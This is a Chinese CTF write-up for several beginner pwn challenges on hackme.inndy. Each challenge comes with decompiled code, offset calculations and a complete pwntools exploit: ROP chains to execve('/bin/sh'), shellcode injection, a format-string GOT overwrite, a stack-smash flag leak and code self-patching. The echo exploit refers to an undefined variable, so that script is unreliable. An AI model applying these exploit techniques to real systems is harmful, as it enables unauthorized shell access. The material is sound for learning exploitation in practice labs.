hackme.inndy pwn write-up

hackme.inndy上pwn的wp,题目难度不大

catfalg

签到题,直接nc连接,cat flag

homework

根据题目提示是数组越界漏洞,给了源码https://hackme.inndy.tw/static/pwn-easy.c 可以看到对数组下表并没有做检查,导致越界。
Snipaste_2019-06-09_11-45-03.png

ida分析,可以通过越界arr来覆盖run_program的返回地址到call_me_maybe函数的地址即可
Snipaste_2019-06-09_11-51-33.png

Snipaste_2019-06-09_11-52-29.png

数组的首地址为ebp-34h,所以arr与ebp之间的偏移为0x34=52个字节。
52+ ebp + ret = 60 字节
60/4=15,即相对于arr来说,ret的索引为14
call_me_maybe 的地址为0x80485FB
最后exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

#r = process('./homework')
r = remote("hackme.inndy.tw",7701)

call_me_maybe=0x80485FB

r.sendlineafter("name? ","pwn")

r.sendlineafter("> ","1")

r.sendlineafter("edit: ","14")
r.sendlineafter("many? ",str(call_me_maybe))
r.sendlineafter("> ","0")
r.interactive()

rop

很简单的栈溢出,只开启了NX保护,静态链接
偏移为0xc+0x4=16
题目提示使用rop,使用ROPgadget构造一个rop
ROPgadget --binary rop --ropchain
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python2
from pwn import *

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80




# r=process('./rop')
r = remote('hackme.inndy.tw',7704)

r.send('a'*16+p)
r.interactive()

rop2

checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

ida f5代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+5h] [ebp-33h]
int v5; // [esp+9h] [ebp-2Fh]
int v6; // [esp+Dh] [ebp-2Bh]
int v7; // [esp+11h] [ebp-27h]
int v8; // [esp+15h] [ebp-23h]
int v9; // [esp+19h] [ebp-1Fh]
int v10; // [esp+1Dh] [ebp-1Bh]
int v11; // [esp+21h] [ebp-17h]
int v12; // [esp+25h] [ebp-13h]
int v13; // [esp+29h] [ebp-Fh]
__int16 v14; // [esp+2Dh] [ebp-Bh]
char v15; // [esp+2Fh] [ebp-9h]

alarm(0x1Eu);
v4 = ' naC';
v5 = ' uoy';
v6 = 'vlos';
v7 = 'ht e';
v8 = '\n?si';
v9 = 'eviG';
v10 = ' em ';
v11 = 'ruoy';
v12 = 'por ';
v13 = 'iahc';
v14 = ':n';
v15 = 0;
syscall(4, 1, &v4, 42);
overflow();
return 0;
}

ida没能够识别出v4到v14的变量类型,v4的地址为bp-0x33,v15为bp-0x9,因此字符串长度为0x33 - 0x9 = 42,在v4上y一下,然后在弹出来的窗口上填入推断出来的数据类型char v4[42],调整后为

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[42]; // [esp+5h] [ebp-33h]

alarm(0x1Eu);
strcpy(v4, "Can you solve this?\nGive me your ropchain:");
syscall(4, 1, v4, 42);
overflow();
return 0;
}

overflow()

1
2
3
4
5
6
7
8
int overflow()
{
char v1; // [esp+Ch] [ebp-Ch]

syscall(3, 0, &v1, 1024);
return syscall(4, 1, &v1, 1024);

}

这里涉及到了调用syscall,可查阅http://shell-storm.org/shellcode/files/syscalls.html 得知,程序中的syscall(4,1,&v4,42) 和syscall(3,0,&v1,1024) 分别调用了write()函数和read函数的系统调用,在v1只有0xc大小却读取了1024字节导致溢出。
这次不能直接利用ROPgadget找rop,考虑使用syscall执行系统命令,execve()的编号是11,所以最终要执行syscall(11, “/bin/sh”, 0, 0),即execve(“/bin/sh”, 0, 0),文件中没有/bin/sh字符串,所以还需要写入/bin/sh到bss段

  • 首先利用 syscall() 调用 read,从标准输入读入 /bin/sh,写入 bss。执行完之后再执行一遍overflow()
  • 然后利用 syscall() 调用 execve,获取shell

syscall函数的调用方法是:调用地址 + 返回地址 + 参数
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *  
# p = remote('hackme.inndy.tw',7703)
p=process('./rop2')
elf = ELF('./rop2')
bss = elf.bss()
syscall = elf.symbols['syscall']
overflow = elf.symbols['overflow']


if args.G:
gdb.attach(p)

payload = 'a'*0xC + 'bbbb' + p32(syscall) + p32(overflow) # junk + target_address + return_address
payload += p32(3) + p32(0) + p32(bss) + p32(8) #syscall(3,0,bss_add,8)
p.send(payload)
p.send("/bin/sh\x00")

payload1 = 'a'*0xc + "BBBB" + p32(syscall) + p32(0xdeadbeaf)
payload1 += p32(0xb) + p32(bss) + p32(0) + p32(0) #syscall(0xb,bss_add,0,0) = execve("bin/sh",0,0)

p.send(payload1)
p.interactive()

toooomuch

很简单,ida查看获得passcode,然后nc连接上,二分法猜数字即可

toooomuch2

题目和上题一样只是这次要求getshell

1
2
3
4
5
6
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

什么都没有开
代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int toooomuch()
{
int result; // eax
char s; // [esp+0h] [ebp-18h]

printf("Give me your passcode: ");
gets(&s);
strcpy(passcode, &s);
if ( check_passcode() )
result = play_a_game();
else
result = puts("You are not allowed here!");
return result;
}

gets存在溢出,什么保护都没有开
这题有两种解法:

  • 一种是把shellcode写到bss段上然后返回到bss段执行。
  • 另一种是直接把system执行用到的参数写到bss段,因为程序里面有system函数,可以溢出到system函数的地址,然后布置参数。

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# r = process('./toooomuch')
r = remote('hackme.inndy.tw', 7702)
elf=ELF('./toooomuch')
bss= elf.bss()
gets=elf.symbols['gets']
sc=asm(shellcraft.sh())
payload = 'a'*0x1c+p32(gets)+p32(bss)+p32(bss) # junk + gets_address+ target_address + return_address
r.sendlineafter('passcode: ',payload)
r.sendline(sc)
r.interactive()

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

# r = process('./toooomuch')
r = remote('hackme.inndy.tw', 7702)
elf=ELF('./toooomuch')

system=elf.symbols['system']
passcode=elf.symbols['passcode']

payload = '/bin/sh\x00'+'a'*20+p32(system)+p32(0xdeadbeaf)+p32(passcode)
r.sendlineafter('passcode: ',payload)

r.interactive()

system函数的调用方法是:调用地址 + 返回地址 + 参数地址

echo

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-10Ch]
unsigned int v4; // [esp+10Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
do
{
fgets(&s, 256, stdin);
printf(&s);
}
while ( strcmp(&s, "exit\n") );
system("echo Goodbye");
exit(0);
}

很简单的格式化字符串漏洞,代码里还有system函数,考虑将print的got地址覆盖成system的plt的地址,第二步输入/bin/sh,这样执行printf(‘/bin/sh’)的时候就执行了system(‘/bin/sh’),可以用pwntools的fmt工具,确定一下偏移AAAA%p%p%p%p%p%p%p%pAAAA%7$8x,偏移为7

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r=process('./echo')
# r=remote('hackme.inndy.tw', 7711)
elf=ELF('./echo')

print_got=elf.got['printf']
system_plt=elf.symbols['system']

payload=fmtstr_payload(7,{print_got:system_got})
r.sendline(payload)
r.sendlineafter('\n','/bin/sh\x00')
r.interactive()

smashthestack

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

开启了cannary和nx
代码

先读取flag到buf,后面的read存在溢出
这题要利用的ssp报错的方法泄漏出flag,在ctf-wiki中有介绍:stack-smash
典型的canary leak,在程序启动canary保护之后,如果发现 canary 被修改的话,程序就会执行__stack_chk_fail函数来打印argv[0]指针所指向的字符串。

1
2
3
4
5
6
7
8
9
10
11
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

所以将libc_argv[0]覆盖为存放flag的地址,在write处下断查看libc_argv[0]的偏移,

flag保存在bss

所以最后exp:

1
2
3
4
5
6
7
8
9
from pwn import *

r = remote('hackme.inndy.tw', 7717)
# r=process('./smash-the-stack')

payload = 'a' * 188 + p32(0x0804A060)

r.sendlineafter('Try to read the flag\n',payload)
r.interactive()

onepunch

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h]
int v5; // [rsp+Ch] [rbp-14h]
_BYTE *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?", 0LL);
v5 = __isoc99_scanf("%llx %d", &v6, &v4);
if ( v5 != 2 )
return 0;
*v6 = v4;//往16进制数的地址写入十进制数
if ( v4 == 255 )
puts("No flag for you");
return 0;
}

发现存在一字节的写入漏洞,但是不知道怎么利用,后来参考了其他师傅的wp,才知道怎么做。

运行查看各个段

发现代码段为rwxp权限,结合一字节任意读写,构造一个循环,写入shellcode,再跳转到shellcode就可以了,虽然开启了nx,但是不在栈上执行,所以没关系。

改变程序流程:
在ida里面查看机器码,将number修改为4

rename一下需要跳转到的段loc_40071D

然后使用keypatch来修改汇编代码,跳转到该段,使其构成一个循环

最终效果

修改后,可以发现跳转处的机器码由75 0A变成了75 B4,所以就知道该怎么patch了,开始写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(arch='amd64',log_level='debug')

# r=process('./onepunch')
r=remote('hackme.inndy.tw',7718)

def patch(addr,value):
r.sendlineafter('Where What?',"%s %s" % (hex(addr), str(value)))

patch(0x400768,0xb4)

sc=asm(shellcraft.sh())

addr=0x400769 # to write shellcode address
for i,j in enumerate(sc):
patch(addr+i,ord(j))

patch(0x400768,0xff)

r.interactive()
  • 第一次写,把jnz跳转的地址(0x400768)改为main函数的地址
  • 之后,分多次将shellcode一字节的写入text段的一个位置
  • 最后一次输入255就跳到shellcode了

参考